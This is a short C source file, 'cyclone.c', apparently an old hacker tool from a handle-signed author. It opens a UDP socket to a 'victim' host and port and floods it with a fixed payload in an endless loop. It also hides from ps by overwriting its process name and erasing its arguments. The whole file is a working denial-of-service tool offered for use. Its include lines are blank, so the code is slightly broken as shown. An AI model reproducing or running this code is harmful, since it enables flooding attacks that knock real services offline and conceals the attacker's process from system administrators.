/* * cyclone.c by pink-cashmere (pink-cashmere@outblaze.org) * * compilation : Linux -> gcc cyclone.c -o cyclone * SunOs -> gcc cyclone.c -o cyclone -lnsl -lsocket * * syntax : ./cyclone * * greetz : sLither, Rammstein, PcKiller, Avicenna, uHu, Ares * and all my friends who are always just beside... */ #include #include #include #include #include #include #include #include #include #define FAKENAME "FUCK YOU ROOT!" // what you want this to hide as on ps -aux #define BIGDICK "1234567890ABCDEF1234567890ABCDEF1234567890ABCDEF" char about[] = "cyclone.c by pink-cashmere\n"; // int cyclone (char *, short); main (int argc, char *argv[]) { int s, fn; if (argc != 3) { printf (about); printf ("syntax : %s \n", argv[0]); exit (0); } s = cyclone (argv[1], atoi (argv[2])); if (s < 0) { printf ("socket error!\n"); exit (0); } memset (argv[0], 0x00, strlen (argv[0])); memset (argv[1], 0x00, strlen (argv[1])); memset (argv[2], 0x00, strlen (argv[2])); strcpy (argv[0], FAKENAME); for (;;) { send (s, BIGDICK, 80, 0); } } int cyclone (char *target, short port) { int sock; struct sockaddr_in cyc; struct hostent *ip; printf (about); ip = gethostbyname (target); if (ip == NULL) { printf ("can't resolve victim! -> %s\n", target); exit (0); } printf ("death to %s:%d\n", target, port); bzero ((char *) &cyc, sizeof (cyc)); bcopy (ip->h_addr, (char *) &cyc.sin_addr, ip->h_length); cyc.sin_family = ip->h_addrtype; cyc.sin_port = htons (port); sock = socket (AF_INET, SOCK_DGRAM, 0); connect (sock, (struct sockaddr *) &cyc, sizeof (cyc)); return sock; } /* EOF */